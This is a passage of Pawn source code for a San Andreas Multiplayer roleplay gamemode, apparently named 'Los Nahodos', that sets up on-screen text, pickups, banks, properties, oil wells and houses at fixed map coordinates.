    TextDrawUseBox(SpeedMeter_Box, 1);
    TextDrawBoxColor(SpeedMeter_Box, -2004318072);
    TextDrawTextSize(SpeedMeter_Box, 480.000000, 8.000000);
    //-------------------------
    TDlogo = TextDrawCreate(500,2,"~g~Los ~y~Nahodos");
    TextDrawLetterSize(TDlogo,0.900000,1.700000);
    TextDrawAlignment(TDlogo,0);
    TextDrawBackgroundColor(TDlogo,0x000000ff);
    TextDrawFont(TDlogo,0);
    TextDrawUseBox(TDlogo,0);
    TextDrawSetOutline(TDlogo,1);
    TextDrawSetProportional(TDlogo,1);
    TextDrawSetShadow(TDlogo,0);
    //-------------------------
    TDweb = TextDrawCreate(14,431,"~g~www.comingsoon.xx");
    TextDrawLetterSize(TDweb,0.500000,1.300000);
    TextDrawAlignment(TDweb,1);
    TextDrawBackgroundColor(TDweb,0x000000ff);
    TextDrawFont(TDweb,0);
    TextDrawUseBox(TDweb,0);
    TextDrawSetOutline(TDweb,1);
    TextDrawSetProportional(TDweb,1);
    TextDrawSetShadow(TDweb,0);
    //-------------------------
    Clock = TextDrawCreate(549,26,"~w~00:00");
    TextDrawLetterSize(Clock,0.600000,1.900000);
    TextDrawAlignment(Clock,0);
    TextDrawBackgroundColor(Clock,0x000000ff);
    TextDrawFont(Clock,3);
    TextDrawUseBox(Clock,0);
    TextDrawSetOutline(Clock,1);
    TextDrawSetProportional(Clock,1);
    TextDrawSetShadow(Clock,1);
    //-------------------------
    RealClock = TextDrawCreate(596,18,"~y~00:00");
    TextDrawLetterSize(RealClock,0.349999,1.000000);
    TextDrawAlignment(RealClock,0);
    TextDrawBackgroundColor(RealClock,0x000000ff);
    TextDrawFont(RealClock,3);
    TextDrawUseBox(RealClock,0);
    TextDrawSetOutline(RealClock,1);
    TextDrawSetProportional(RealClock,1);
    TextDrawSetShadow(RealClock,1);
    //-------------------------

    print("* TextDraws has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating pickups...");

    JobCentrum[0]  = CreatePickup(1581,23,2512.238,-1665.44,13.72,0);
    JobCentrum[1]  = CreatePickup(1581,23,2460.511,-1389.657,24.18,0);
    JobCentrum[2]  = CreatePickup(1581,23,2681.585,-1402.5,30.65,0);
    JobCentrum[3]  = CreatePickup(1581,23,2261.424,-1906.548,15.19,0);
    JobCentrum[4]  = CreatePickup(1581,23,233.643,159.136,1003.082,2997);
    JobCentrum[5]  = CreatePickup(1581,23,2189.4,-2262.0,13.4,0);
    JobCentrum[6]  = CreatePickup(1581,23,-1687.8872070313,-18.303468704224,3.5546875,0);
    JobCentrum[7]  = CreatePickup(1581,23,1831.054,-1108.974,23.9,0);
    JobCentrum[8]  = CreatePickup(1581,23,1341.356,-1675.227,17.715,0);
    JobCentrum[9]  = CreatePickup(1581,23,2151.487,-1807.884,13.546,0);
    JobCentrum[10] = CreatePickup(1581,23,1554.952,-1675.59,16.195,0);
    JobCentrum[11] = CreatePickup(1581,23,2137.989,-1905.364,13.546,0);
    JobCentrum[12] = CreatePickup(1581,23,1576.791,-1479.614,14.212,0);
    JobCentrum[13] = CreatePickup(1581,23,1172.788,-1323.434,15.4,0);
    JobCentrum[14] = CreatePickup(1581,23,967.77,-1252.67,16.956,0);
    JobCentrum[15] = CreatePickup(1581,23,285.164,2002.722,17.64,0);
    JobCentrum[16] = CreatePickup(1581,23,1740.384,-1456.816,13.525,0);
    JobCentrum[17] = CreatePickup(1581,23,732.647,-1337.733,13.533,0);
    JobCentrum[18] = CreatePickup(1581,23,2333.949,51.892,26.484,0);
    JobCentrum[19] = CreatePickup(1581,23,-2178.4504394531,-223.88455200195,36.519073486328,0);
    JobCentrum[20] = CreatePickup(1581,23,-2521.3037109375,-624.64526367188,132.78244018555,0);
    JobCentrum[21] = CreatePickup(1581,23,-1605.5047607422,711.10198974609,13.8671875,0);
    JobCentrum[22] = CreatePickup(1581,23,-2026.3106689453,67.152297973633,28.691593170166,0);
    JobCentrum[23] = CreatePickup(1581,23,-1526.2415771484,485.71505737305,7.1796875,0);
    JobCentrum[24] = CreatePickup(1581,23,-2455.6298828125,503.88360595703,30.078125,0);
    JobCentrum[25] = CreatePickup(1581,23,-1643.1689453125,1385.2122802734,7.1796875,0);
    JobCentrum[26] = CreatePickup(1581,23,-1864.6663818359,-1559.3851318359,22.2109375,0);
    JobCentrum[27] = CreatePickup(1581,23,-2172.7509765625,680.07299804688,55.162162780762,0);
    
    CarShopPickup[0] = CreatePickup(1239,23,-1960.6163330078,305.33749389648,35.473926544189,0);
    CarShopPickup[1] = CreatePickup(1239,23,-1659.5346679688,1220.4112548828,7.25,0);
    CarShopPickup[2] = CreatePickup(1239,23,2131.8208007813,-1150.4176025391,24.159635543823,0);
    CarShopPickup[3] = CreatePickup(1239,23,414.82418823242,2535.1804199219,19.1484375,0);
    CarShopPickup[4] = CreatePickup(1239,23,2089.6667480469,-2080.5969238281,13.546875,0);
    CarShopPickup[5] = CreatePickup(1239,23,2506.4636230469,-1746.0355224609,13.500896453857,0);
    CarShopPickup[6] = CreatePickup(1239,23,-2579.7580566406,310.21548461914,5.1796879768372,0);
    CarShopPickup[7] = CreatePickup(1239,23,1628.2923583984,600.22668457031,1.7578125,0);
    CarShopPickup[8] = CreatePickup(1239,23,848.46783447266,-1817.9799804688,12.193820953369,0);

    ClansIntPickups[0] = CreatePickup(1318,23,-27.049,-56.755,1003.549,-1);
    ClansIntPickups[1] = CreatePickup(1318,23,-228.868,1401.141,27.768,-1);
    ClansIntPickups[2] = CreatePickup(1318,23,501.936,-68.261,998.765,-1);
    ClansIntPickups[3] = CreatePickup(1318,23,377.164,-178.254,1000.641,-1);
    ClansIntPickups[4] = CreatePickup(1318,23,2807.259,-1174.359,1025.581,-1);
    ClansIntPickups[5] = CreatePickup(1318,23,2324.490,-1148.906,1050.723,-1);

    ExteriorGymPickup[0] = CreatePickup(1318,23,2229.671,-1721.729,13.565,-1);
    ExteriorGymPickup[1] = CreatePickup(1318,23,-2269.769,-156.024,35.320,-1);
    ExteriorGymPickup[2] = CreatePickup(1318,23,1809.744,-1167.061,24.226,-1);

    InteriorGymPickup[0] = CreatePickup(1318,23,772.2613,-4.6860,1000.7288,5000);
    InteriorGymPickup[1] = CreatePickup(1318,23,774.1383,-49.7679,1000.5859,5001);
    InteriorGymPickup[2] = CreatePickup(1318,23,773.7861,-78.2226,1000.6618,5002);

    TrainingFightingStylePickup[0] = CreatePickup(1239,23,767.2130,-2.5508,1000.7187,5000);
    TrainingFightingStylePickup[1] = CreatePickup(1239,23,768.0892,-36.9983,1000.6864,5001);
    TrainingFightingStylePickup[2] = CreatePickup(1239,23,773.9109,-65.3676,1000.7183,5002);

    ElectroShop = CreatePickup(1239,23,1359.905,-1854.188,13.57,0);
    Urad[0] = CreatePickup(1318,23,1247.9,-1560,13.5,0);
    Urad[1] = CreatePickup(1318,23,246.515,107.609,1003.218, 2998);
    UradIntPickup[0] = CreatePickup(1239,23,251.3,117.1,1003.2, 2998);
    UradIntPickup[1] = CreatePickup(1239,23,241.4,112.9,1003.2, 2998);
    SWATPickup[0] = CreatePickup(1318,23,1275.044,-1662.776,19.734,0);
    SWATPickup[1] = CreatePickup(1318,23,238.767,140.496,1003.082,2997);
    FuelPump[0] = CreatePickup(1650,23,1938.247,-1772.414,13.107,0);    //ls
    FuelPump[1] = CreatePickup(1650,23,1005.194,-933.600,41.902,0);     //ls
    FuelPump[2] = CreatePickup(1650,23,-2023.372,156.928,28.835,0);     //sf
    FuelPump[3] = CreatePickup(1650,23,-1675.307,413.729,7.179,0);      //sf
    FuelPump[4] = CreatePickup(1650,23,-2407.228,975.950,45.296,0);     //sf
    Drag[Pickup] = CreatePickup(1239,23,1636.961,-1883.375,25.241,0);
    SkinShop[0] = CreatePickup(1275,23,217.565, -97.748,1005.257,-1);
    SkinShop[1] = CreatePickup(1275,23,202.017,-131.019,1003.507,-1);
    SkinShop[2] = CreatePickup(1275,23,208.876,  -3.526,1001.217,-1);
    SkinShop[3] = CreatePickup(1275,23,181.334, -87.028,1002.023,-1);
    JizzyPickup = CreatePickup(1239,23,-2652.312,1410.176,906.273,-1);
    FoodPickup[0] = CreatePickup(2768,23,377.671,-68.038,1001.515,-1);
    FoodPickup[1] = CreatePickup(2768,23,369.608,-6.528,1001.858,-1);
    FoodPickup[2] = CreatePickup(2768,23,375.770,-119.677,1001.499,-1);
    BrigadaPickup[0] = CreatePickup(1239,23,2120.5112304688,-1790.2296142578,13.5546875,0);
    BrigadaPickup[1] = CreatePickup(1239,23,-1700.736694335,28.815383911133 ,3.5546875 ,0);

    DiscoInt_Ext[0] = CreatePickup(1318,23,1835.0,-1681.7,13.4,0);
    DiscoInt_Ext[1] = CreatePickup(1318,23,-2636.087,1404.061,906.460,2999);
    AmmoPickup = CreatePickup(2061,23,290.291,-109.646,1001.515,-1);
    SecretAmmoPickup = CreatePickup(2061,23,-1630.086,-2245.478,31.476,0);
    LocPickup = CreatePickup(1239,23,-357.929,1585.793,76.712,0);
    CreatePickup(1239,23,2446.626,-1977.238,13.546,0);

    Pickups_X[0]  = CreatePickup(1318,23 ,2400.602,-1981.754, 13.546,0);
    Pickups_X[1]  = CreatePickup(1318,23 ,1368.864,-1279.882, 13.546,0);
    Pickups_X[2]  = CreatePickup(1318,23 ,2419.980,-1508.989, 24.000,0);
    Pickups_X[3]  = CreatePickup(1318,23 ,2244.416,-1665.357, 15.476,0);
    Pickups_X[4]  = CreatePickup(1318,23 ,2397.921,-1899.110, 13.546,0);
    Pickups_X[5]  = CreatePickup(1318,23 ,1199.266, -918.503, 43.120,0);
    Pickups_X[6]  = CreatePickup(1318,23 , 927.403,-1352.973, 13.376,0);
    Pickups_X[7]  = CreatePickup(1318,23 ,2105.452,-1806.507, 13.554,0);
    Pickups_X[8]  = CreatePickup(1318,23 , 810.615,-1616.185, 13.546,0);
    Pickups_X[9]  = CreatePickup(1318,23 ,1038.230,-1340.731, 13.741,0);
    Pickups_X[10] = CreatePickup(1318,23, 499.661,-1360.556, 16.359,0);
    Pickups_X[11] = CreatePickup(1318,23, 461.748,-1500.961, 31.042,0);
    Pickups_X[12] = CreatePickup(1318,23,1571.763,-1337.715, 16.484,0);
    Pickups_X[13] = CreatePickup(1318,23,1548.665,-1363.915,326.218,0);
    Pickups_X[14] = CreatePickup(1318,23,2333.4094238281,61.598838806152,26.70578956604 ,0);
    Pickups_X[15] = CreatePickup(1318,23,2332.7509765625,75.168670654297,26.620975494385,0);
    Pickups_X[16] = CreatePickup(1318,23,1367.2220458984,248.55700683594,19.566932678223 ,0);
    Pickups_X[17] = CreatePickup(1318,23,-2093.4106445313,-2464.5834960938,30.625,0);
    Pickups_X[18] = CreatePickup(1318,23,-2155.08203125,-2460.7436523438,30.8515625,0);
    Pickups_X[19] = CreatePickup(1318,23,-2336.3225097656,-166.9799041748,35.5546875,0);
    Pickups_X[20] = CreatePickup(1318,23,-2625.8757324219,208.5,4.6864461898804,0);
    Pickups_X[21] = CreatePickup(1318,23,-2671.5483398438,258.2746887207,4.6328125,0);
    Pickups_X[22] = CreatePickup(1318,23,-2356.3681640625,1008.0089111328,50.8984375,0);
    Pickups_X[23] = CreatePickup(1318,23,-1912.2045898438,828.01928710938,35.212711334229,0);
    Pickups_X[24] = CreatePickup(1318,23,-1882.6011962891,866.30017089844,35.171875,0);
    Pickups_X[25] = CreatePickup(1318,23,-1816.5123291016,617.82867431641,35.171875,0);
    Pickups_X[26] = CreatePickup(1318,23,-1694.9097900391,951.68878173828,24.890625,0);
    Pickups_X[27] = CreatePickup(1318,23,-1721.7735595703,1359.7717285156,7.1853160858154,0);
    Pickups_X[28] = CreatePickup(1318,23,-2523.7309570313,1216.1951904297,37.428329467773,0);
    Pickups_X[29] = CreatePickup(1318,23,-2374.5075683594,910.30676269531,45.4453125,0);
    Pickups_X[30] = CreatePickup(1318,23,-1808.4222412109,945.59234619141,24.890625,0);

    Pickups_Y[0]  = CreatePickup(1318,23 ,297.051,-111.605,1001.515, -1);
    Pickups_Y[1]  = CreatePickup(1318,23 ,365.673, -10.713,1001.851, -1);
    Pickups_Y[2]  = CreatePickup(1318,23 ,207.527,-109.705,1005.132, -1);
    Pickups_Y[3]  = CreatePickup(1318,23 ,363.415, -74.578,1001.507, -1);
    Pickups_Y[4]  = CreatePickup(1318,23 ,372.366,-132.133,1001.492, -1);
    Pickups_Y[5]  = CreatePickup(1318,23 ,207.055,-138.805,1003.507, -1);
    Pickups_Y[6]  = CreatePickup(1318,23 ,226.289,  -7.430,1002.210, -1);
    Pickups_Y[7]  = CreatePickup(1318,23 ,161.598, -94.436,1001.804, -1);

    ShopPickup[0] = CreatePickup(1318,23,2423.4304199219,-1914.9486083984,13.546875,0);
    ShopPickup[1] = CreatePickup(1318,23,2380.4821777344,-1213.5872802734,27.422292709351,0);
    ShopPickup[2] = CreatePickup(1318,23,1128.7092285156,-1271.3031005859,13.546875,0);
    ShopPickup[3] = CreatePickup(1318,23,336.11361694336,-1335.9836425781,14.5078125,0);
    ShopPickup[4] = CreatePickup(1318,23,-1675.9158935547,431.84384155273,7.1796875,0);
    ShopPickup[5] = CreatePickup(1318,23,-2544.4885253906,250.13616943359,13.870671272278,0);
    ShopPickup[6] = CreatePickup(1318,23,-1884.4801025391,1300.8520507813,7.1875,0);
    ShopPickup[7] = CreatePickup(1318,23,-2200.4584960938,-79.33618927002,35.3203125,0);

    BombShopPickup = CreatePickup(1239,23,972.3567,-1544.6091,13.6040,0);

    for(new w=0; w<=7; w++)
    {
        ShopPickup[8+w] = CreatePickup(1239,23,-23.604,-55.326,1003.546,4000+w);
    }

    //xxxxxxxxxxxxxxxxxxxxxx MARIHUANA xxxxxxxxxxxxxxxxxxxxxxxxx

    MarihuanaPlantP[0]  = CreatePickup(1239,23,-1067.69995117,-1618.00000000,76.10000000,0); //object(grassplant) (1)
    MarihuanaPlantP[1]  = CreatePickup(1239,23,-1067.69995117,-1623.00000000,76.10000000,0); //object(grassplant) (2)
    MarihuanaPlantP[2]  = CreatePickup(1239,23,-1067.69995117,-1633.00000000,76.10000000,0); //object(grassplant) (3)
    MarihuanaPlantP[3]  = CreatePickup(1239,23,-1072.00000000,-1628.00000000,76.10000000,0); //object(grassplant) (4)
    MarihuanaPlantP[4]  = CreatePickup(1239,23,-1072.00000000,-1633.00000000,76.10000000,0); //object(grassplant) (5)
    MarihuanaPlantP[5]  = CreatePickup(1239,23,-1067.69995117,-1628.00000000,76.10000000,0); //object(grassplant) (6)
    MarihuanaPlantP[6]  = CreatePickup(1239,23,-1072.00000000,-1623.00000000,76.10000000,0); //object(grassplant) (7)
    MarihuanaPlantP[7]  = CreatePickup(1239,23,-1072.00000000,-1618.00000000,76.10000000,0); //object(grassplant) (8)
    MarihuanaPlantP[8]  = CreatePickup(1239,23,-1063.50000000,-1633.00000000,76.10000000,0); //object(grassplant) (9)
    MarihuanaPlantP[9]  = CreatePickup(1239,23,-1063.50000000,-1628.00000000,76.10000000,0); //object(grassplant) (10)
    MarihuanaPlantP[10] = CreatePickup(1239,23,-1063.50000000,-1623.00000000,76.10000000,0); //object(grassplant) (11)
    MarihuanaPlantP[11] = CreatePickup(1239,23,-1063.50000000,-1618.00000000,76.10000000,0); //object(grassplant) (12)

    print("* Pickups has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating banks...");

    CreateBank(0, 1481.189,-1771.103,18.795);
    CreateBank(1, -1605.743,773.593,7.1875);
    CreateBank(2, 2413.358,1123.881,10.820);
    CreateBank(3, 300.537,-1609.149,33.094);
    CreateBank(4, 2861.564,-1440.174,10.937);
    CreateBank(5, 2302.998,-16.178,26.484);
    CreateBank(6, -2144.283,-2425.526,30.625);
    CreateBank(7, -2575.219,242.083,9.561);
    CreateBank(8, -1951.157,1344.648,7.188);

    print("* Banks has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating properties...");

    CreateProperty(0 ,2423.9689941406,-1954.9772949219,13.546875000000,144000,"Pawn Shop");
    CreateProperty(1 ,2354.6315917969,-1511.6143798828,24.000000000000,120000,"Mexican Food");
    CreateProperty(2 ,1041.4641113281,-1339.4293212891,13.732515335083,150000,"Jims Ring");
    CreateProperty(3 ,1022.5450439453,-1121.1380615234,23.871246337891,300000,"Cathay Casino");
    CreateProperty(4 ,454.42346191406,-1478.0968017578,30.824655532837,255000,"Dider Saches");
    CreateProperty(5 ,1837.0905761719,-1685.5688476563,13.320680618286,270000,"Disco Club");
    CreateProperty(6 ,1564.2816162109,-1897.9760742188,13.560878753662,135000,"Restauration");
    CreateProperty(7 ,377.84289550781,-1886.8973388672,7.8359375000000,75000 ,"Carmel Corn");
    CreateProperty(8 ,649.19323730469,-1357.2696533203,13.567279815674,330000,"Interglobal Television");
    CreateProperty(9 ,2693.8547363281,-1708.5056152344,11.847808837891,360000,"Los Santos City Stadion");
    CreateProperty(10,1734.9030761719,-1943.4416503906,13.570280075073,225000,"Los Santos Station");
    CreateProperty(11,1205.7745361328,-917.80029296875,43.080032348633,150000,"Burger Shot");
    CreateProperty(12,-1540.7399902344,-437.82104492188,6.000000000000,450000,"San Fierro Airport");
    CreateProperty(13,-2077.5979003906,-407.11260986328,38.73437500000,350000,"San Fierro City Stadion");
    CreateProperty(14,-2266.0822753906,30.422012329102,35.320312500000,200000,"Restauration San Fierro");
    CreateProperty(15,-2717.9274902344,-317.56265258789,7.843750000000,250000,"Golf");
    CreateProperty(16,-2765.7468261719,382.10339355469,6.3346824645996,200000,"San Fierro Museum");
    CreateProperty(17,-2442.7841796875,754.96380615234,35.171875000000,140000,"Supa Save Shop");
    CreateProperty(18,-2627.2731933594,1411.6639404297,7.0937500000000,300000,"Jizzy Club");
    CreateProperty(19,-1697.3547363281,1334.8828125,7.1796875000000000,100000,"PIER 69");
    CreateProperty(20,-1659.9295654297,1220.3305664063,7.2500000000000,180000,"Ottos Autos");
    CreateProperty(21,-1989.5681152344,1117.9066162109,54.468750000000,100000,"San Fierro Church");
    CreateProperty(22,-1986.1516113281,671.43542480469,46.568286895752,220000,"Zombotech");
    CreateProperty(23,-1966.6396484375,298.30505371094,35.468750000000,240000,"Wang Cars");
    CreateProperty(24,-1968.705078125,110.63680267334,27.6875000000000,230000,"San Fierro Station");

    for(new p=0; p<MAX_PROPERTY; p++)
    {
        Property[p][MajitelID]=9999;
    }

    print("* Properties has been created!");

    //+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    print("Creating oil wells...");

    OilWell[0]  = CreatePickup(0,23,569.27496337891,1307.0632324219,10.190423965454,0);
    OilWell[1]  = CreatePickup(0,23,497.00341796875,1303.3250732422,9.1505527496338,0);
    OilWell[2]  = CreatePickup(0,23,432.60922241211,1268.2310791016,9.5512790679932,0);
    OilWell[3]  = CreatePickup(0,23,359.88739013672,1301.8460693359,12.4765625,0);
    OilWell[4]  = CreatePickup(0,23,377.5654296875,1333.1826171875,11.06206703186,0);
    OilWell[5]  = CreatePickup(0,23,497.46957397461,1388.2076416016,4.5898494720459,0);
    OilWell[6]  = CreatePickup(0,23,425.56146240234,1409.5635986328,7.5859375,0);
    OilWell[7]  = CreatePickup(0,23,399.36611938477,1463.1254882813,7.0158576965332,0);
    OilWell[8]  = CreatePickup(0,23,425.59945678711,1511.8900146484,11.4921875,0);
    OilWell[9]  = CreatePickup(0,23,440.43765258789,1564.3244628906,11.4921875,0);
    OilWell[10] = CreatePickup(0,23,484.51364135742,1526.4641113281,1.00000000,0);
    OilWell[11] = CreatePickup(0,23,528.41931152344,1472.8763427734,4.0664024353027,0);
    OilWell[12] = CreatePickup(0,23,594.68103027344,1498.4073486328,8.0703125,0);
    OilWell[13] = CreatePickup(0,23,646.23419189453,1470.7926025391,9.2810192108154,0);
    OilWell[14] = CreatePickup(0,23,634.20867919922,1358.6674804688,12.070834159851,0);
    OilWell[15] = CreatePickup(0,23,591.12982177734,1342.1322021484,10.915557861328,0);

    OilWell_Text3D[0]  = Create3DTextLabel("Ropný Vrt #1\nTržba: 0$",0xFF3A00FF,569.27496337891,1307.0632324219,10.190423965454,30,0);
    OilWell_Text3D[1]  = Create3DTextLabel("Ropný Vrt #2\nTržba: 0$",0xFF3A00FF,497.00341796875,1303.3250732422,9.1505527496338,30,0);
    OilWell_Text3D[2]  = Create3DTextLabel("Ropný Vrt #3\nTržba: 0$",0xFF3A00FF,432.60922241211,1268.2310791016,9.5512790679932,30,0);
    OilWell_Text3D[3]  = Create3DTextLabel("Ropný Vrt #4\nTržba: 0$",0xFF3A00FF,359.88739013672,1301.8460693359,12.4765625,30,0);
    OilWell_Text3D[4]  = Create3DTextLabel("Ropný Vrt #5\nTržba: 0$",0xFF3A00FF,377.5654296875,1333.1826171875,11.06206703186,30,0);
    OilWell_Text3D[5]  = Create3DTextLabel("Ropný Vrt #6\nTržba: 0$",0xFF3A00FF,497.46957397461,1388.2076416016,4.5898494720459,30,0);
    OilWell_Text3D[6]  = Create3DTextLabel("Ropný Vrt #7\nTržba: 0$",0xFF3A00FF,425.56146240234,1409.5635986328,7.5859375,30,0);
    OilWell_Text3D[7]  = Create3DTextLabel("Ropný Vrt #8\nTržba: 0$",0xFF3A00FF,399.36611938477,1463.1254882813,7.0158576965332,30,0);
    OilWell_Text3D[8]  = Create3DTextLabel("Ropný Vrt #9\nTržba: 0$",0xFF3A00FF,425.59945678711,1511.8900146484,11.4921875,30,0);
    OilWell_Text3D[9]  = Create3DTextLabel("Ropný Vrt #10\nTržba: 0$",0xFF3A00FF,440.43765258789,1564.3244628906,11.4921875,30,0);
    OilWell_Text3D[10] = Create3DTextLabel("Ropný Vrt #11\nTržba: 0$",0xFF3A00FF,484.51364135742,1526.4641113281,1.00000000,30,0);
    OilWell_Text3D[11] = Create3DTextLabel("Ropný Vrt #12\nTržba: 0$",0xFF3A00FF,528.41931152344,1472.8763427734,4.0664024353027,30,0);
    OilWell_Text3D[12] = Create3DTextLabel("Ropný Vrt #13\nTržba: 0$",0xFF3A00FF,594.68103027344,1498.4073486328,8.0703125,30,0);
    OilWell_Text3D[13] = Create3DTextLabel("Ropný Vrt #14\nTržba: 0$",0xFF3A00FF,646.23419189453,1470.7926025391,9.2810192108154,30,0);
    OilWell_Text3D[14] = Create3DTextLabel("Ropný Vrt #15\nTržba: 0$",0xFF3A00FF,634.20867919922,1358.6674804688,12.070834159851,30,0);
    OilWell_Text3D[15] = Create3DTextLabel("Ropný Vrt #16\nTržba: 0$",0xFF3A00FF,591.12982177734,1342.1322021484,10.915557861328,30,0);

    for(new rv=0; rv<16; rv++)
    {
        OilWell_Cash[rv] = random(5000);
    }

    print("* Oil wells has been created!");

    //<><><><><><><><><><><><><><><><><><><><><><><><><><>

    print("Creating houses...");

    CreateHouse( 0,2190.837,-1470.426,25.914,1,420000,1,1,false);
    CreateHouse( 1,2468.388,-1410.153,29.103,2,800000,1,2,false);
    CreateHouse( 2,2065.054,-1703.605,14.175,3,1200000,1,3,false);
    CreateHouse( 3,2284.724,-1906.779,14.929,2,870000,1,2,false);
    CreateHouse( 4,2459.509,-1691.462,13.544,5,1800000,1,2,false);
    CreateHouse( 5,2194.421,-1442.985,26.073,1,570000,1,2,false);
    CreateHouse( 6,1141.771,-1092.172,28.417,3,1600000,2,3,false);
    CreateHouse( 7,315.702,-1771.200,4.629,3,1480000,1,3,false);
    CreateHouse( 8,1529.740,-1850.284,13.546,3,3000000,3,5,false);
    CreateHouse( 9,980.720,-677.531,122.236,6,5000000,3,5,false);
    CreateHouse(10,952.672,-909.594,45.765,3,2200000,2,4,false);
    CreateHouse(11,1804.226,-2125.254,13.983,2,1500000,2,3,false);
    CreateHouse(12,432.093,-1253.891,51.581,1,600000,1,2,false);
    CreateHouse(13,2023.051,-1053.016,25.596,1,525000,1,2,false);
    CreateHouse(14,900.484,-1471.092,13.998,2,975000,1,2,false);
    CreateHouse(15,893.707,-1636.016,14.930,3,1350000,1,3,false);
    CreateHouse(16,1257.456,-785.618,92.030,7,6400000,4,5,false);
    CreateHouse(17,1496.922,-687.804,95.563,6,3200000,3,5,false);
    CreateHouse(18,2167.210,-1672.500,15.073,2,1000000,1,2,false);
    CreateHouse(19,2218.861,-1031.911,60.379,2,1000000,1,2,false);
    CreateHouse(20,693.40563964844,-1645.7706298828,4.1907510757446,2,700000,1,2,false);
    CreateHouse(21,300.40634155273,-1154.1181640625,82.117691040039,6,3900000,3,5,false);
    CreateHouse(22,2523.3386230469,-1679.4029541016,15.496999740601,1,645000,1,2,false);
    CreateHouse(23,2472.3813476563,-962.28344726563,80.525466918945,1,140000,1,1,false);
    CreateHouse(24,2583.009765625,-953.24468994141,81.388214111328,1,205000,1,1,false);
    CreateHouse(25,2787.3217773438,-1926.1448974609,13.546875,2,1100000,1,2,false);
    CreateHouse(26,1122.6842041016,-2037.1137695313,69.894287109375,7,15000000,5,5,false);
    CreateHouse(27,662.13458251953,-1487.6047363281,14.8515625,2,900000,1,2,false);
    CreateHouse(28,497.46823120117,-1095.4107666016,82.359191894531,5,4100000,3,5,false);
    CreateHouse(29,1112.8116455078,-742.11889648438,100.13292694092,3,1800000,2,3,false);
    CreateHouse(30,251.25614929199,-1220.0206298828,76.10237121582,6,4400000,3,5,false);
    CreateHouse(31,253.42330932617,-1270.2768554688,74.865020751953,6,4400000,3,5,false);
    CreateHouse(32,326.86737060547,-1514.4749755859,36.032508850098,6,20000000,5,5,false);
    CreateHouse(33,1093.9403076172,-806.8779296875,107.41903686523,3,1300000,2,2,false);
    CreateHouse(34,2270.47265625,-7.6092729568481,28.153547286987,3,1450000,1,2,false);
    CreateHouse(35,2398.3486328125,111.72375488281,28.44164276123,3,2700000,2,4,false);
    CreateHouse(36,2269.5498046875,111.96229553223,28.441644668579,3,2850000,2,4,false);
    CreateHouse(37,2556.6779785156,87.93083190918,27.675645828247,3,1500000,1,3,false);
    CreateHouse(38,2548.9040527344,24.915414810181,27.675647735596,3,2900000,2,4,false);
    CreateHouse(39,2415.5673828125,-52.21854019165,28.153547286987,3,2000000,1,3,false);
    CreateHouse(40,2203.2978515625,-89.27709197998,28.153547286987,3,2000000,1,3,false);
    CreateHouse(41,-2161.5,-2535.5068359375,31.816270828247,3,2000000,1,3,false);
    CreateHouse(42,-2134.5795898438,-2504.5622558594,31.816270828247,3,2000000,1,3,false);
    CreateHouse(43,2770.8208007813,-1628.7933349609,12.177461624146,5,10000000,5,3,false);
    CreateHouse(44,1332.1873779297,-632.990234375,109.1349029541,5,5000000,3,5,false);
    CreateHouse(45,725.82641601563,-1276.3479003906,13.6484375,6,6000000,5,5,true);
    CreateHouse(46,829.11309814453,-1554.2777099609,13.486948013306,3,4000000,4,5,true);
    CreateHouse(47,2247.234375,-1795.9072265625,13.546875,6,5500000,5,5,true);
    CreateHouse(48,2457.5153808594,-1902.1168212891,13.546875,3,3000000,3,5,true);
    CreateHouse(49,254.74130249023,-1366.9576416016,53.109375,5,5500000,4,5,true);

    //---- SF ----//

    CreateHouse(50,-1860.8994140625,1115.3508300781,45.4453125,5,5000000,3,4,false);
    CreateHouse(51,-1820.8395996094,1117.0041503906,46.392318725586,6,8000000,5,5,false);
    CreateHouse(52,-1695.4077148438,1014.2967529297,45.2109375,6,5300000,3,4,false);
    CreateHouse(53,-1970.4599609375,1273.1951904297,7.5505027770996,6,4000000,3,3,false);
    CreateHouse(54,-1997.1892089844,1273.2288818359,7.5421295166016,4,3000000,2,3,false);
    CreateHouse(55,-1982.5814208984,1189.9897460938,45.4453125,6,4700000,4,0,false);
    CreateHouse(56,-2029.0502929688,1276.1204833984,7.1875,6,4500000,2,5,false);
    CreateHouse(57,-2152.6225585938,1248.3272705078,25.746562957764,3,2200000,2,4,false);
    CreateHouse(58,-2382.7397460938,1226.4246826172,33.062103271484,2,1350000,1,2,false);
    CreateHouse(59,-2382.5625,1244.5902099609,29.703384399414,2,1400000,1,2,false);
    CreateHouse(60,-2382.6325683594,1281.3452148438,22.96012878418,1,800000,1,1,false);
    CreateHouse(61,-2351.8933105469,1245.2370605469,29.703866958618,5,3000000,1,5,false);
    CreateHouse(62,-2351.4252929688,1336.4916992188,12.772365570068,3,2000000,2,2,false);
    CreateHouse(63,-2369.7626953125,1121.9709472656,55.733276367188,4,2200000,2,2,false);
    CreateHouse(64,-2438.3325195313,1141.0416259766,55.7265625,2,1700000,1,3,false);
    CreateHouse(65,-2563.1374511719,1149.2236328125,55.7265625,4,4000000,3,4,false);
    CreateHouse(66,-2511.4150390625,1008.9649658203,78.35604095459,1,500000,1,1,false);
    CreateHouse(67,-2511.4157714844,992.48382568359,78.465065002441,2,1500000,2,2,false);
    CreateHouse(68,-2471.9575195313,921.5380859375,63.166877746582,2,1100000,2,1,false);
    CreateHouse(69,-2412.9990234375,921.36267089844,45.472274780273,4,3500000,2,4,false);
    CreateHouse(70,-2431.4348144531,895.32818603516,50.536987304688,3,2000000,1,3,false);
    CreateHouse(71,-2369.072265625,763.6328125,35.135639190674,3,2000000,2,2,false);
    CreateHouse(72,-2279.0380859375,767.85113525391,49.4453125,3,2000000,2,2,false);
    CreateHouse(73,-2112.607421875,823.06567382813,69.5625,6,7000000,4,5,false);
    CreateHouse(74,-2018.6354980469,849.34698486328,45.448417663574,3,2500000,2,3,false);
    CreateHouse(75,-2018.4261474609,970.00927734375,45.4453125,3,2000000,1,2,false);
    CreateHouse(76,-2017.9147949219,999.87707519531,50.820251464844,3,2100000,1,2,false);
